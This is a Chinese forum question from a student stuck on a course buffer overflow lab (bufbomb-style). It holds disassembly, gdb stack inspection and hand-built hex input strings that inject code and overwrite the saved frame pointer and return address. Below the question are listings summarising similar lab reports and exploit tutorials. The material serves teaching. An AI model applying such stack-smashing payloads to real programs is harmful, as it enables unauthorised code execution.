0 0

关于缓冲区攻击溢出问题,ubuntu30

关于缓冲区攻击溢出问题,ubuntu


080484c0 <getbuf>:
80484c0:    55                       push   %ebp
80484c1:    89 e5                    mov    %esp,%ebp
80484c3:    8d 45 e8                 lea    -0x18(%ebp),%eax
80484c6:    83 ec 28                 sub    $0x28,%esp
80484c9:    89 04 24                 mov    %eax,(%esp)
80484cc:    e8 5f ff ff ff           call   8048430 <getxs>
80484d1:    89 ec                    mov    %ebp,%esp
80484d3:    b8 01 00 00 00           mov    $0x1,%eax
80484d8:    5d                       pop    %ebp
80484d9:    c3                       ret  
80484da:    8d b6 00 00 00 00        lea    0x0(%esi),%esi

080484e0 <test>:
80484e0:    55                       push   %ebp
80484e1:    89 e5                    mov    %esp,%ebp
80484e3:    83 ec 08                 sub    $0x8,%esp
80484e6:    c7 04 24 04 86 04 08     movl   $0x8048604,(%esp)
80484ed:    e8 76 fe ff ff           call   8048368 <printf@plt>
80484f2:    e8 c9 ff ff ff           call   80484c0 <getbuf>
80484f7:    89 44 24 04              mov    %eax,0x4(%esp)
80484fb:    c7 04 24 15 86 04 08     movl   $0x8048615,(%esp)
8048502:    e8 61 fe ff ff           call   8048368 <printf@plt>
8048507:    89 ec                    mov    %ebp,%esp
8048509:    5d                       pop    %ebp
804850a:    c3                       ret   
804850b:    90                       nop
804850c:    8d 74 26 00              lea    0x0(%esi,%eiz,1),%esi

gdb为:
(gdb) x/w $ebp
0xbfffefe8:    0xbfffeff8
(gdb) x/w ($ebp+4)
0xbfffefec:    0x080484f7
(gdb) x/w ($ebp-4)
0xbfffefe4:    0x0028bff4
(gdb) x/w ($ebp-0x18)
0xbfffefd0:    0xbfffeff8
(gdb) x/w ($ebp-24)
0xbfffefd0:    0xbfffeff8
所以输入数据应该为:
b8 ef be ad de 68 f7 84 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 ef ff bf d0 ef ff bf

改为下面这样也是不行啊
b8 ef be ad de 68 f7 84 04 08 c3 00 00 00 00 00 00 00 00 00 f4 bf 28 00 f8 ef ff bf d0 ef ff bf
攻击代码地址为:d0 ef ff bf
是因为这句 <getbuf>
80484c3:    8d 45 e8                 lea    -0x18(%ebp),%eax
她分配了24个字节空间,所以攻击代码地址有下面的命令得到,
(gdb) x/w ($ebp-24)
0xbfffefd0:    0xbfffeff8

由于为buf分配了24个字节的空间,所以在我的输入后面补了好多的00,一直补到24个字节,这段代码好象没有gs验证码问题(从汇编代码中可以看到)

我也是在ubuntu下工作的,用的gcc版本为3.*
C 
2011年11月04日 00:42
目前还没有答案

相关推荐

    计算机系统基础之缓冲区溢出攻击实验

    ### 缓冲区溢出攻击实验知识点解析 #### 实验背景 缓冲区溢出是一种常见的安全漏洞,通过向固定长度的缓冲区写入超出其容量的数据来触发。这种攻击能够导致程序崩溃,甚至允许攻击者执行任意代码。《计算机系统基础...

    缓冲区溢出攻击实验

    ### 缓冲区溢出攻击实验详解 #### 实验核心概念与原理 缓冲区溢出是一种常见的软件安全漏洞,尤其在使用C/C++等低级编程语言时更为常见,因为这些语言缺乏内置的安全机制来防止缓冲区边界越界。缓冲区溢出攻击利用...

    缓冲区溢出实验指导书Ubuntu版英文

    Ubuntu和其他Linux发行版已实施了多种安全机制,使得缓冲区溢出攻击变得更加困难。为了简化攻击过程,首先需要禁用这些保护措施。 - **地址空间随机化**:Ubuntu和其他基于Linux的系统使用地址空间随机化技术来随机...

    东南大学网络空间安全实验基础——缓冲区溢出漏洞实验

    东南大学网络空间安全实验基础——缓冲区溢出漏洞实验 该实验报告的主要目的是...该实验报告展示了缓冲区溢出漏洞的攻击过程和防御措施,并回答了一些相关的问题,帮助我们更好地理解缓冲区溢出漏洞的原理和防御方法。

    实验五 缓冲区溢出实验1

    "实验五 缓冲区溢出实验1" 缓冲区溢出是一种常见的安全漏洞,发生在程序尝试向预先分配的固定大小缓冲区写入数据超出边界时。这种脆弱点能被恶意用户利用来改变程序的控制流程,导致恶意代码的执行。本实验的目的是...

    实验 Linux 下的缓冲区溢出实践1

    通过实践,学习者将了解到如何利用缓冲区溢出进行攻击,并掌握防范此类攻击的方法。实验旨在增强对程序内存管理的理解,提高安全编程的意识。 2. 实验环境 实验所需的基本配置为: - 操作系统:Ubuntu 20.04 - ...

    网络缓冲区溢出强敏2010117201.pdf

    在Ubuntu环境下,由于GCC的堆栈保护机制,进行缓冲区溢出实验前需要关闭某些安全特性。通过`objdump -d`命令查看程序的反汇编代码,可以分析函数调用和内存布局。例如,`getbuf()`函数调用了`Gets()`函数,攻击者...

    Security-Exercises:缓冲区溢出开发示例

    [带有gets功能的缓冲区溢出] Ubuntu 16.04,64位操作系统概述什么是缓冲区溢出? 为什么有问题? 缓冲区溢出很快就是一个异常,程序在将数据写入缓冲区时会超出缓冲区边界。 也就是说,缓冲区是按固定大小创建的,...

    SeedLab-Software:我的SeedLab v2.0 Ubuntu 20.04软件部分的实验报告

    SeedLab软件 我的SeedLab v2.0 Ubuntu 20.04软件部分的实验报告 实验室文档和设置: : 目录 缓冲区溢出攻击实验室(服务器版) 返回libc 环境变量 比赛条件+脏牛 格式字符串 光谱和熔毁

    Linux近期相关漏洞——Linux Kernel IA32 ExecVE存在本地绥冲溢出漏洞.pdf

    2. 缓冲区溢出漏洞:缓冲区溢出漏洞是最常见的安全漏洞之一。开发者需要了解缓冲区溢出的成因、检测方法和解决方法。 3. ExecVE 系统调用:ExecVE 系统调用是 Linux 操作系统中最重要的系统调用之一。开发者需要了解...

    Ubuntu 10.10 提权教程

    1. **缓冲区溢出**:这是经典的提权手段,通过向程序发送过量数据,导致其内存管理出错,从而允许攻击者覆盖内存中的敏感数据,如返回地址,以执行任意代码。 2. **权限配置错误**:有些系统服务可能以root权限运行...

    stack-smashing:C中的缓冲区溢出程序

    C中的缓冲区溢出程序 关于 这是团队作业。 要求是通过shell代码传递缓冲区溢出。 该项目使用perl脚本来运行漏洞利用程序。 支持的操作系统是使用gcc编译器Linux和使用borland编译器的Windows。 当前不支持Mac。 ...

    PB18111707_吕瑞_lab31

    在实验【PB18111707_吕瑞_lab31】中,我们关注的是缓冲区溢出攻击。攻击者通过向程序的缓冲区写入超出其长度的数据,导致缓冲区溢出,进而篡改程序的堆栈,使程序执行非预期的指令。这种攻击方式常用于获取程序的...

    1140320206-霍峻杰-实验二2

    缓冲区溢出是一种常见的软件安全问题,通常发生在程序尝试向固定大小的内存缓冲区写入超出其容量的数据时。在这个实验中,关键漏洞出现在函数`strcpy()`的使用上,这是一个不检查目标缓冲区大小就复制字符串的函数,...

    perl-suid_5.8.8-12ubuntu0.5_i386(1).deb

    Perl是流行的跨平台编程语言。 部分Perl脚本在处理PERLIO_DEBUG变量时存在问题,本地攻击者可以利用这个漏洞破坏系统文件或进行缓冲区溢出攻击。

    中科大csapp实验3 bufbomb

    在计算机安全领域,缓冲区溢出是一种常见的攻击手段,它利用程序对缓冲区边界检查不严格的问题来执行恶意代码或篡改程序运行状态。本实验通过中科大的《程序设计与计算机系统》课程中的“bufbomb”实验,旨在帮助...

    inter overflow

    在实际开发中,预防整数溢出是非常重要的,因为它可能导致安全漏洞,比如缓冲区溢出或类型混淆攻击。程序员可以使用更大数据类型的整数(如long long)、检查运算结果是否在预期范围内、使用安全的库函数(如在C++11...

    curl 7.84.0,可用于CentOS,ubuntu

    同时,可能还修复了在处理某些URL或HTTP响应时可能出现的缓冲区溢出问题,这可以减少被利用来进行远程代码执行的风险。此外,可能还增强了对不安全的HTTP头的检查,以防止恶意注入。 `curl` 的新版本可能还引入了新...

    SploitFun Linux x86 Exploit 开发系列教程

    总结来说,该系列教程涵盖了从基础的缓冲区溢出到复杂的技术如绕过内存保护机制的攻击方法,并提供了相关的环境配置指导和代码分析方法。通过学习这些内容,研究人员可以掌握如何识别、分析并利用软件中的安全漏洞。

Global site tag (gtag.js) - Google Analytics